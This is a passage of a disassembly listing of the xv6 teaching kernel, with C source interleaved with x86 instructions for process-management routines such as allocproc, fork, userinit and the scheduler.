801033f8 <piperead+0x38> release(&p->lock); 80103428: 89 34 24 mov %esi,(%esp) 8010342b: e8 e0 0d 00 00 call 80104210 <release> addr[i] = p->data[p->nread++ % PIPESIZE]; } wakeup(&p->nwrite); //DOC: piperead-wakeup release(&p->lock); return i; } 80103430: 83 c4 1c add $0x1c,%esp return -1; 80103433: b8 ff ff ff ff mov $0xffffffff,%eax } 80103438: 5b pop %ebx 80103439: 5e pop %esi 8010343a: 5f pop %edi 8010343b: 5d pop %ebp 8010343c: c3 ret 8010343d: 8d 76 00 lea 0x0(%esi),%esi for(i = 0; i < n; i++){ //DOC: piperead-copy 80103440: 8b 55 10 mov 0x10(%ebp),%edx if(p->nread == p->nwrite) 80103443: 31 db xor %ebx,%ebx for(i = 0; i < n; i++){ //DOC: piperead-copy 80103445: 85 d2 test %edx,%edx 80103447: 7f 2b jg 80103474 <piperead+0xb4> 80103449: eb 31 jmp 8010347c <piperead+0xbc> 8010344b: 90 nop 8010344c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi addr[i] = p->data[p->nread++ % PIPESIZE]; 80103450: 8d 48 01 lea 0x1(%eax),%ecx 80103453: 25 ff 01 00 00 and $0x1ff,%eax 80103458: 89 8e 34 02 00 00 mov %ecx,0x234(%esi) 8010345e: 0f b6 44 06 34 movzbl 0x34(%esi,%eax,1),%eax 80103463: 88 04 1f mov %al,(%edi,%ebx,1) for(i = 0; i < n; i++){ //DOC: piperead-copy 80103466: 83 c3 01 add $0x1,%ebx 80103469: 3b 5d 10 cmp 0x10(%ebp),%ebx 8010346c: 74 0e je 8010347c <piperead+0xbc> if(p->nread == p->nwrite) 8010346e: 8b 86 34 02 00 00 mov 0x234(%esi),%eax 80103474: 3b 86 38 02 00 00 cmp 0x238(%esi),%eax 8010347a: 75 d4 jne 80103450 <piperead+0x90> wakeup(&p->nwrite); //DOC: piperead-wakeup 8010347c: 8d 86 38 02 00 00 lea 0x238(%esi),%eax 80103482: 89 04 24 mov %eax,(%esp) 80103485: e8 e6 08 00 00 call 80103d70 <wakeup> release(&p->lock); 8010348a: 89 34 24 mov %esi,(%esp) 8010348d: e8 7e 0d 00 00 call 80104210 <release> } 80103492: 83 c4 1c add $0x1c,%esp return i; 80103495: 89 d8 mov %ebx,%eax } 80103497: 5b pop %ebx 80103498: 5e pop %esi 80103499: 5f pop %edi 8010349a: 5d pop %ebp 8010349b: c3 ret 8010349c: 66 90 xchg %ax,%ax 8010349e: 66 90 xchg %ax,%ax 801034a0 <allocproc>: // If found, change state to EMBRYO and initialize // state required to run in the kernel. // Otherwise return 0. static struct proc* allocproc(void) { 801034a0: 55 push %ebp 801034a1: 89 e5 mov %esp,%ebp 801034a3: 53 push %ebx struct proc *p; char *sp; acquire(&ptable.lock); for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801034a4: bb 54 2d 11 80 mov $0x80112d54,%ebx { 801034a9: 83 ec 14 sub $0x14,%esp acquire(&ptable.lock); 801034ac: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801034b3: e8 68 0c 00 00 call 80104120 <acquire> 801034b8: eb 11 jmp 801034cb <allocproc+0x2b> 801034ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 801034c0: 83 eb 80 sub $0xffffff80,%ebx 801034c3: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx 801034c9: 74 7d je 80103548 <allocproc+0xa8> if(p->state == UNUSED) 801034cb: 8b 43 0c mov 0xc(%ebx),%eax 801034ce: 85 c0 test %eax,%eax 801034d0: 75 ee jne 801034c0 <allocproc+0x20> release(&ptable.lock); return 0; found: p->state = EMBRYO; p->pid = nextpid++; 801034d2: a1 04 a0 10 80 mov 0x8010a004,%eax release(&ptable.lock); 801034d7: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) p->state = EMBRYO; 801034de: c7 43 0c 01 00 00 00 movl $0x1,0xc(%ebx) p->pid = nextpid++; 801034e5: 8d 50 01 lea 0x1(%eax),%edx 801034e8: 89 15 04 a0 10 80 mov %edx,0x8010a004 801034ee: 89 43 10 mov %eax,0x10(%ebx) release(&ptable.lock); 801034f1: e8 1a 0d 00 00 call 80104210 <release> // Allocate kernel stack. if((p->kstack = kalloc()) == 0){ 801034f6: e8 85 ef ff ff call 80102480 <kalloc> 801034fb: 85 c0 test %eax,%eax 801034fd: 89 43 08 mov %eax,0x8(%ebx) 80103500: 74 5a je 8010355c <allocproc+0xbc> return 0; } sp = p->kstack + KSTACKSIZE; // Leave room for trap frame. sp -= sizeof *p->tf; 80103502: 8d 90 b4 0f 00 00 lea 0xfb4(%eax),%edx // Set up new context to start executing at forkret, // which returns to trapret. sp -= 4; *(uint*)sp = (uint)trapret; sp -= sizeof *p->context; 80103508: 05 9c 0f 00 00 add $0xf9c,%eax sp -= sizeof *p->tf; 8010350d: 89 53 18 mov %edx,0x18(%ebx) *(uint*)sp = (uint)trapret; 80103510: c7 40 14 15 54 10 80 movl $0x80105415,0x14(%eax) p->context = (struct context*)sp; memset(p->context, 0, sizeof *p->context); 80103517: c7 44 24 08 14 00 00 movl $0x14,0x8(%esp) 8010351e: 00 8010351f: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80103526: 00 80103527: 89 04 24 mov %eax,(%esp) p->context = (struct context*)sp; 8010352a: 89 43 1c mov %eax,0x1c(%ebx) memset(p->context, 0, sizeof *p->context); 8010352d: e8 2e 0d 00 00 call 80104260 <memset> p->context->eip = (uint)forkret; 80103532: 8b 43 1c mov 0x1c(%ebx),%eax 80103535: c7 40 10 70 35 10 80 movl $0x80103570,0x10(%eax) return p; 8010353c: 89 d8 mov %ebx,%eax } 8010353e: 83 c4 14 add $0x14,%esp 80103541: 5b pop %ebx 80103542: 5d pop %ebp 80103543: c3 ret 80103544: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi release(&ptable.lock); 80103548: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010354f: e8 bc 0c 00 00 call 80104210 <release> } 80103554: 83 c4 14 add $0x14,%esp return 0; 80103557: 31 c0 xor %eax,%eax } 80103559: 5b pop %ebx 8010355a: 5d pop %ebp 8010355b: c3 ret p->state = UNUSED; 8010355c: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return 0; 80103563: eb d9 jmp 8010353e <allocproc+0x9e> 80103565: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103569: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103570 <forkret>: // A fork child's very first scheduling by scheduler() // will swtch here. "Return" to user space. void forkret(void) { 80103570: 55 push %ebp 80103571: 89 e5 mov %esp,%ebp 80103573: 83 ec 18 sub $0x18,%esp static int first = 1; // Still holding ptable.lock from scheduler. release(&ptable.lock); 80103576: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010357d: e8 8e 0c 00 00 call 80104210 <release> if (first) { 80103582: a1 00 a0 10 80 mov 0x8010a000,%eax 80103587: 85 c0 test %eax,%eax 80103589: 75 05 jne 80103590 <forkret+0x20> iinit(ROOTDEV); initlog(ROOTDEV); } // Return to "caller", actually trapret (see allocproc). } 8010358b: c9 leave 8010358c: c3 ret 8010358d: 8d 76 00 lea 0x0(%esi),%esi iinit(ROOTDEV); 80103590: c7 04 24 01 00 00 00 movl $0x1,(%esp) first = 0; 80103597: c7 05 00 a0 10 80 00 movl $0x0,0x8010a000 8010359e: 00 00 00 iinit(ROOTDEV); 801035a1: e8 aa de ff ff call 80101450 <iinit> initlog(ROOTDEV); 801035a6: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801035ad: e8 9e f4 ff ff call 80102a50 <initlog> } 801035b2: c9 leave 801035b3: c3 ret 801035b4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801035ba: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801035c0 <pinit>: { 801035c0: 55 push %ebp 801035c1: 89 e5 mov %esp,%ebp 801035c3: 83 ec 18 sub $0x18,%esp initlock(&ptable.lock, "ptable"); 801035c6: c7 44 24 04 55 73 10 movl $0x80107355,0x4(%esp) 801035cd: 80 801035ce: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801035d5: e8 56 0a 00 00 call 80104030 <initlock> } 801035da: c9 leave 801035db: c3 ret 801035dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801035e0 <mycpu>: { 801035e0: 55 push %ebp 801035e1: 89 e5 mov %esp,%ebp 801035e3: 56 push %esi 801035e4: 53 push %ebx 801035e5: 83 ec 10 sub $0x10,%esp asm volatile("pushfl; popl %0" : "=r" (eflags)); 801035e8: 9c pushf 801035e9: 58 pop %eax if(readeflags()&FL_IF) 801035ea: f6 c4 02 test $0x2,%ah 801035ed: 75 57 jne 80103646 <mycpu+0x66> apicid = lapicid(); 801035ef: e8 4c f1 ff ff call 80102740 <lapicid> for (i = 0; i < ncpu; ++i) { 801035f4: 8b 35 00 2d 11 80 mov 0x80112d00,%esi 801035fa: 85 f6 test %esi,%esi 801035fc: 7e 3c jle 8010363a <mycpu+0x5a> if (cpus[i].apicid == apicid) 801035fe: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx 80103605: 39 c2 cmp %eax,%edx 80103607: 74 2d je 80103636 <mycpu+0x56> 80103609: b9 30 28 11 80 mov $0x80112830,%ecx for (i = 0; i < ncpu; ++i) { 8010360e: 31 d2 xor %edx,%edx 80103610: 83 c2 01 add $0x1,%edx 80103613: 39 f2 cmp %esi,%edx 80103615: 74 23 je 8010363a <mycpu+0x5a> if (cpus[i].apicid == apicid) 80103617: 0f b6 19 movzbl (%ecx),%ebx 8010361a: 81 c1 b0 00 00 00 add $0xb0,%ecx 80103620: 39 c3 cmp %eax,%ebx 80103622: 75 ec jne 80103610 <mycpu+0x30> return &cpus[i]; 80103624: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax } 8010362a: 83 c4 10 add $0x10,%esp 8010362d: 5b pop %ebx 8010362e: 5e pop %esi 8010362f: 5d pop %ebp return &cpus[i]; 80103630: 05 80 27 11 80 add $0x80112780,%eax } 80103635: c3 ret for (i = 0; i < ncpu; ++i) { 80103636: 31 d2 xor %edx,%edx 80103638: eb ea jmp 80103624 <mycpu+0x44> panic("unknown apicid\n"); 8010363a: c7 04 24 5c 73 10 80 movl $0x8010735c,(%esp) 80103641: e8 1a cd ff ff call 80100360 <panic> panic("mycpu called with interrupts enabled\n"); 80103646: c7 04 24 38 74 10 80 movl $0x80107438,(%esp) 8010364d: e8 0e cd ff ff call 80100360 <panic> 80103652: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103659: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103660 <cpuid>: cpuid() { 80103660: 55 push %ebp 80103661: 89 e5 mov %esp,%ebp 80103663: 83 ec 08 sub $0x8,%esp return mycpu()-cpus; 80103666: e8 75 ff ff ff call 801035e0 <mycpu> } 8010366b: c9 leave return mycpu()-cpus; 8010366c: 2d 80 27 11 80 sub $0x80112780,%eax 80103671: c1 f8 04 sar $0x4,%eax 80103674: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax } 8010367a: c3 ret 8010367b: 90 nop 8010367c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103680 <myproc>: myproc(void) { 80103680: 55 push %ebp 80103681: 89 e5 mov %esp,%ebp 80103683: 53 push %ebx 80103684: 83 ec 04 sub $0x4,%esp pushcli(); 80103687: e8 54 0a 00 00 call 801040e0 <pushcli> c = mycpu(); 8010368c: e8 4f ff ff ff call 801035e0 <mycpu> p = c->proc; 80103691: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103697: e8 04 0b 00 00 call 801041a0 <popcli> } 8010369c: 83 c4 04 add $0x4,%esp 8010369f: 89 d8 mov %ebx,%eax 801036a1: 5b pop %ebx 801036a2: 5d pop %ebp 801036a3: c3 ret 801036a4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801036aa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 801036b0 <userinit>: { 801036b0: 55 push %ebp 801036b1: 89 e5 mov %esp,%ebp 801036b3: 53 push %ebx 801036b4: 83 ec 14 sub $0x14,%esp p = allocproc(); 801036b7: e8 e4 fd ff ff call 801034a0 <allocproc> 801036bc: 89 c3 mov %eax,%ebx initproc = p; 801036be: a3 b8 a5 10 80 mov %eax,0x8010a5b8 if((p->pgdir = setupkvm()) == 0) 801036c3: e8 58 33 00 00 call 80106a20 <setupkvm> 801036c8: 85 c0 test %eax,%eax 801036ca: 89 43 04 mov %eax,0x4(%ebx) 801036cd: 0f 84 d4 00 00 00 je 801037a7 <userinit+0xf7> inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); 801036d3: 89 04 24 mov %eax,(%esp) 801036d6: c7 44 24 08 2c 00 00 movl $0x2c,0x8(%esp) 801036dd: 00 801036de: c7 44 24 04 60 a4 10 movl $0x8010a460,0x4(%esp) 801036e5: 80 801036e6: e8 45 30 00 00 call 80106730 <inituvm> p->sz = PGSIZE; 801036eb: c7 03 00 10 00 00 movl $0x1000,(%ebx) memset(p->tf, 0, sizeof(*p->tf)); 801036f1: c7 44 24 08 4c 00 00 movl $0x4c,0x8(%esp) 801036f8: 00 801036f9: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80103700: 00 80103701: 8b 43 18 mov 0x18(%ebx),%eax 80103704: 89 04 24 mov %eax,(%esp) 80103707: e8 54 0b 00 00 call 80104260 <memset> p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 8010370c: 8b 43 18 mov 0x18(%ebx),%eax 8010370f: ba 1b 00 00 00 mov $0x1b,%edx p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 80103714: b9 23 00 00 00 mov $0x23,%ecx p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 80103719: 66 89 50 3c mov %dx,0x3c(%eax) p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 8010371d: 8b 43 18 mov 0x18(%ebx),%eax 80103720: 66 89 48 2c mov %cx,0x2c(%eax) p->tf->es = p->tf->ds; 80103724: 8b 43 18 mov 0x18(%ebx),%eax 80103727: 0f b7 50 2c movzwl 0x2c(%eax),%edx 8010372b: 66 89 50 28 mov %dx,0x28(%eax) p->tf->ss = p->tf->ds; 8010372f: 8b 43 18 mov 0x18(%ebx),%eax 80103732: 0f b7 50 2c movzwl 0x2c(%eax),%edx 80103736: 66 89 50 48 mov %dx,0x48(%eax) p->tf->eflags = FL_IF; 8010373a: 8b 43 18 mov 0x18(%ebx),%eax 8010373d: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax) p->tf->esp = PGSIZE; 80103744: 8b 43 18 mov 0x18(%ebx),%eax 80103747: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax) p->tf->eip = 0; // beginning of initcode.S 8010374e: 8b 43 18 mov 0x18(%ebx),%eax 80103751: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax) safestrcpy(p->name, "initcode", sizeof(p->name)); 80103758: 8d 43 6c lea 0x6c(%ebx),%eax 8010375b: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 80103762: 00 80103763: c7 44 24 04 85 73 10 movl $0x80107385,0x4(%esp) 8010376a: 80 8010376b: 89 04 24 mov %eax,(%esp) 8010376e: e8 cd 0c 00 00 call 80104440 <safestrcpy> p->cwd = namei("/"); 80103773: c7 04 24 8e 73 10 80 movl $0x8010738e,(%esp) 8010377a: e8 61 e7 ff ff call 80101ee0 <namei> 8010377f: 89 43 68 mov %eax,0x68(%ebx) acquire(&ptable.lock); 80103782: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103789: e8 92 09 00 00 call 80104120 <acquire> p->state = RUNNABLE; 8010378e: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) release(&ptable.lock); 80103795: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 8010379c: e8 6f 0a 00 00 call 80104210 <release> } 801037a1: 83 c4 14 add $0x14,%esp 801037a4: 5b pop %ebx 801037a5: 5d pop %ebp 801037a6: c3 ret panic("userinit: out of memory?"); 801037a7: c7 04 24 6c 73 10 80 movl $0x8010736c,(%esp) 801037ae: e8 ad cb ff ff call 80100360 <panic> 801037b3: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801037b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801037c0 <growproc>: { 801037c0: 55 push %ebp 801037c1: 89 e5 mov %esp,%ebp 801037c3: 56 push %esi 801037c4: 53 push %ebx 801037c5: 83 ec 10 sub $0x10,%esp 801037c8: 8b 75 08 mov 0x8(%ebp),%esi struct proc *curproc = myproc(); 801037cb: e8 b0 fe ff ff call 80103680 <myproc> if(n > 0){ 801037d0: 83 fe 00 cmp $0x0,%esi struct proc *curproc = myproc(); 801037d3: 89 c3 mov %eax,%ebx sz = curproc->sz; 801037d5: 8b 00 mov (%eax),%eax if(n > 0){ 801037d7: 7e 2f jle 80103808 <growproc+0x48> if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) 801037d9: 01 c6 add %eax,%esi 801037db: 89 74 24 08 mov %esi,0x8(%esp) 801037df: 89 44 24 04 mov %eax,0x4(%esp) 801037e3: 8b 43 04 mov 0x4(%ebx),%eax 801037e6: 89 04 24 mov %eax,(%esp) 801037e9: e8 92 30 00 00 call 80106880 <allocuvm> 801037ee: 85 c0 test %eax,%eax 801037f0: 74 36 je 80103828 <growproc+0x68> curproc->sz = sz; 801037f2: 89 03 mov %eax,(%ebx) switchuvm(curproc); 801037f4: 89 1c 24 mov %ebx,(%esp) 801037f7: e8 24 2e 00 00 call 80106620 <switchuvm> return 0; 801037fc: 31 c0 xor %eax,%eax } 801037fe: 83 c4 10 add $0x10,%esp 80103801: 5b pop %ebx 80103802: 5e pop %esi 80103803: 5d pop %ebp 80103804: c3 ret 80103805: 8d 76 00 lea 0x0(%esi),%esi } else if(n < 0){ 80103808: 74 e8 je 801037f2 <growproc+0x32> if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) 8010380a: 01 c6 add %eax,%esi 8010380c: 89 74 24 08 mov %esi,0x8(%esp) 80103810: 89 44 24 04 mov %eax,0x4(%esp) 80103814: 8b 43 04 mov 0x4(%ebx),%eax 80103817: 89 04 24 mov %eax,(%esp) 8010381a: e8 61 31 00 00 call 80106980 <deallocuvm> 8010381f: 85 c0 test %eax,%eax 80103821: 75 cf jne 801037f2 <growproc+0x32> 80103823: 90 nop 80103824: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; 80103828: b8 ff ff ff ff mov $0xffffffff,%eax 8010382d: eb cf jmp 801037fe <growproc+0x3e> 8010382f: 90 nop 80103830 <fork>: { 80103830: 55 push %ebp 80103831: 89 e5 mov %esp,%ebp 80103833: 57 push %edi 80103834: 56 push %esi 80103835: 53 push %ebx 80103836: 83 ec 1c sub $0x1c,%esp struct proc *curproc = myproc(); 80103839: e8 42 fe ff ff call 80103680 <myproc> 8010383e: 89 c3 mov %eax,%ebx if((np = allocproc()) == 0){ 80103840: e8 5b fc ff ff call 801034a0 <allocproc> 80103845: 85 c0 test %eax,%eax 80103847: 89 c7 mov %eax,%edi 80103849: 89 45 e4 mov %eax,-0x1c(%ebp) 8010384c: 0f 84 bc 00 00 00 je 8010390e <fork+0xde> if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){ 80103852: 8b 03 mov (%ebx),%eax 80103854: 89 44 24 04 mov %eax,0x4(%esp) 80103858: 8b 43 04 mov 0x4(%ebx),%eax 8010385b: 89 04 24 mov %eax,(%esp) 8010385e: e8 9d 32 00 00 call 80106b00 <copyuvm> 80103863: 85 c0 test %eax,%eax 80103865: 89 47 04 mov %eax,0x4(%edi) 80103868: 0f 84 a7 00 00 00 je 80103915 <fork+0xe5> np->sz = curproc->sz; 8010386e: 8b 03 mov (%ebx),%eax 80103870: 8b 4d e4 mov -0x1c(%ebp),%ecx 80103873: 89 01 mov %eax,(%ecx) *np->tf = *curproc->tf; 80103875: 8b 79 18 mov 0x18(%ecx),%edi 80103878: 89 c8 mov %ecx,%eax np->parent = curproc; 8010387a: 89 59 14 mov %ebx,0x14(%ecx) *np->tf = *curproc->tf; 8010387d: 8b 73 18 mov 0x18(%ebx),%esi 80103880: b9 13 00 00 00 mov $0x13,%ecx 80103885: f3 a5 rep movsl %ds:(%esi),%es:(%edi) for(i = 0; i < NOFILE; i++) 80103887: 31 f6 xor %esi,%esi np->tf->eax = 0; 80103889: 8b 40 18 mov 0x18(%eax),%eax 8010388c: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax) 80103893: 90 nop 80103894: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(curproc->ofile[i]) 80103898: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 8010389c: 85 c0 test %eax,%eax 8010389e: 74 0f je 801038af <fork+0x7f> np->ofile[i] = filedup(curproc->ofile[i]); 801038a0: 89 04 24 mov %eax,(%esp) 801038a3: e8 08 d5 ff ff call 80100db0 <filedup> 801038a8: 8b 55 e4 mov -0x1c(%ebp),%edx 801038ab: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4) for(i = 0; i < NOFILE; i++) 801038af: 83 c6 01 add $0x1,%esi 801038b2: 83 fe 10 cmp $0x10,%esi 801038b5: 75 e1 jne 80103898 <fork+0x68> np->cwd = idup(curproc->cwd); 801038b7: 8b 43 68 mov 0x68(%ebx),%eax safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801038ba: 83 c3 6c add $0x6c,%ebx np->cwd = idup(curproc->cwd); 801038bd: 89 04 24 mov %eax,(%esp) 801038c0: e8 9b dd ff ff call 80101660 <idup> 801038c5: 8b 7d e4 mov -0x1c(%ebp),%edi 801038c8: 89 47 68 mov %eax,0x68(%edi) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 801038cb: 8d 47 6c lea 0x6c(%edi),%eax 801038ce: 89 5c 24 04 mov %ebx,0x4(%esp) 801038d2: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 801038d9: 00 801038da: 89 04 24 mov %eax,(%esp) 801038dd: e8 5e 0b 00 00 call 80104440 <safestrcpy> pid = np->pid; 801038e2: 8b 5f 10 mov 0x10(%edi),%ebx acquire(&ptable.lock); 801038e5: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801038ec: e8 2f 08 00 00 call 80104120 <acquire> np->state = RUNNABLE; 801038f1: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi) release(&ptable.lock); 801038f8: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801038ff: e8 0c 09 00 00 call 80104210 <release> return pid; 80103904: 89 d8 mov %ebx,%eax } 80103906: 83 c4 1c add $0x1c,%esp 80103909: 5b pop %ebx 8010390a: 5e pop %esi 8010390b: 5f pop %edi 8010390c: 5d pop %ebp 8010390d: c3 ret return -1; 8010390e: b8 ff ff ff ff mov $0xffffffff,%eax 80103913: eb f1 jmp 80103906 <fork+0xd6> kfree(np->kstack); 80103915: 8b 7d e4 mov -0x1c(%ebp),%edi 80103918: 8b 47 08 mov 0x8(%edi),%eax 8010391b: 89 04 24 mov %eax,(%esp) 8010391e: e8 ad e9 ff ff call 801022d0 <kfree> return -1; 80103923: b8 ff ff ff ff mov $0xffffffff,%eax np->kstack = 0; 80103928: c7 47 08 00 00 00 00 movl $0x0,0x8(%edi) np->state = UNUSED; 8010392f: c7 47 0c 00 00 00 00 movl $0x0,0xc(%edi) return -1; 80103936: eb ce jmp 80103906 <fork+0xd6> 80103938: 90 nop 80103939: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103940 <scheduler>: { 80103940: 55 push %ebp 80103941: 89 e5 mov %esp,%ebp 80103943: 57 push %edi 80103944: 56 push %esi 80103945: 53 push %ebx 80103946: 83 ec 1c sub $0x1c,%esp struct cpu *c = mycpu(); 80103949: e8 92 fc ff ff call 801035e0 <mycpu> 8010394e: 89 c6 mov %eax,%esi c->proc = 0; 80103950: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax) 80103957: 00 00 00 8010395a: 8d 78 04 lea 0x4(%eax),%edi 8010395d: 8d 76 00 lea 0x0(%esi),%esi asm volatile("sti"); 80103960: fb sti acquire(&ptable.lock); 80103961: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103968: bb 54 2d 11 80 mov $0x80112d54,%ebx acquire(&ptable.lock); 8010396d: e8 ae 07 00 00 call 80104120 <acquire> 80103972: eb 0f jmp 80103983 <scheduler+0x43> 80103974: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103978: 83 eb 80 sub $0xffffff80,%ebx 8010397b: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx 80103981: 74 45 je 801039c8 <scheduler+0x88> if(p->state != RUNNABLE) 80103983: 83 7b 0c 03 cmpl $0x3,0xc(%ebx) 80103987: 75 ef jne 80103978 <scheduler+0x38> c->proc = p; 80103989: 89 9e ac 00 00 00 mov %ebx,0xac(%esi) switchuvm(p); 8010398f: 89 1c 24 mov %ebx,(%esp) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103992: 83 eb 80 sub $0xffffff80,%ebx switchuvm(p); 80103995: e8 86 2c 00 00 call 80106620 <switchuvm> swtch(&(c->scheduler), p->context); 8010399a: 8b 43 9c mov -0x64(%ebx),%eax p->state = RUNNING; 8010399d: c7 43 8c 04 00 00 00 movl $0x4,-0x74(%ebx) swtch(&(c->scheduler), p->context); 801039a4: 89 3c 24 mov %edi,(%esp) 801039a7: 89 44 24 04 mov %eax,0x4(%esp) 801039ab: e8 eb 0a 00 00 call 8010449b <swtch> switchkvm(); 801039b0: e8 4b 2c 00 00 call 80106600 <switchkvm> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039b5: 81 fb 54 4d 11 80 cmp $0x80114d54,%ebx c->proc = 0; 801039bb: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi) 801039c2: 00 00 00 for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 801039c5: 75 bc jne 80103983 <scheduler+0x43> 801039c7: 90 nop release(&ptable.lock); 801039c8: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801039cf: e8 3c 08 00 00 call 80104210 <release> } 801039d4: eb 8a jmp 80103960 <scheduler+0x20> 801039d6: 8d 76 00 lea 0x0(%esi),%esi 801039d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801039e0 <sched>: { 801039e0: 55 push %ebp 801039e1: 89 e5 mov %esp,%ebp 801039e3: 56 push %esi 801039e4: 53 push %ebx 801039e5: 83 ec 10 sub $0x10,%esp struct proc *p = myproc(); 801039e8: e8 93 fc ff ff call 80103680 <myproc> if(!holding(&ptable.lock)) 801039ed: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) struct proc *p = myproc(); 801039f4: 89 c3 mov %eax,%ebx if(!holding(&ptable.lock)) 801039f6: e8 b5 06 00 00 call 801040b0 <holding> 801039fb: 85 c0 test %eax,%eax 801039fd: 74 4f je 80103a4e <sched+0x6e> if(mycpu()->ncli != 1) 801039ff: e8 dc fb ff ff call 801035e0 <mycpu> 80103a04: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax) 80103a0b: 75 65 jne 80103a72 <sched+0x92> if(p->state == RUNNING) 80103a0d: 83 7b 0c 04 cmpl $0x4,0xc(%ebx) 80103a11: 74 53 je 80103a66 <sched+0x86> asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103a13: 9c pushf 80103a14: 58 pop %eax if(readeflags()&FL_IF) 80103a15: f6 c4 02 test $0x2,%ah 80103a18: 75 40 jne 80103a5a <sched+0x7a> intena = mycpu()->intena; 80103a1a: e8 c1 fb ff ff call 801035e0 <mycpu> swtch(&p->context, mycpu()->scheduler); 80103a1f: 83 c3 1c add $0x1c,%ebx intena = mycpu()->intena; 80103a22: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi swtch(&p->context, mycpu()->scheduler); 80103a28: e8 b3 fb ff ff call 801035e0 <mycpu> 80103a2d: 8b 40 04 mov 0x4(%eax),%eax 80103a30: 89 1c 24 mov %ebx,(%esp) 80103a33: 89 44 24 04 mov %eax,0x4(%esp) 80103a37: e8 5f 0a 00 00 call 8010449b <swtch> mycpu()->intena = intena; 80103a3c: e8 9f fb ff ff call 801035e0 <mycpu> 80103a41: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax) } 80103a47: 83 c4 10 add $0x10,%esp 80103a4a: 5b pop %ebx 80103a4b: 5e pop %esi 80103a4c: 5d pop %ebp 80103a4d: c3 ret panic("sched ptable.lock"); 80103a4e: c7 04 24 90 73 10 80 movl $0x80107390,(%esp) 80103a55: e8 06 c9 ff ff call 80100360 <panic> panic("sched interruptible"); 80103a5a: c7 04 24 bc 73 10 80 movl $0x801073bc,(%esp) 80103a61: e8 fa c8 ff ff call 80100360 <panic> panic("sched running"); 80103a66: c7 04 24 ae 73 10 80 movl $0x801073ae,(%esp) 80103a6d: e8 ee c8 ff ff call 80100360 <panic> panic("sched locks"); 80103a72: c7 04 24 a2 73 10 80 movl $0x801073a2,(%esp) 80103a79: e8 e2 c8 ff ff call 80100360 <panic> 80103a7e: 66 90 xchg %ax,%ax 80103a80 <exit>: { 80103a80: 55 push %ebp 80103a81: 89 e5 mov %esp,%ebp 80103a83: 56 push %esi if(curproc == initproc) 80103a84: 31 f6 xor 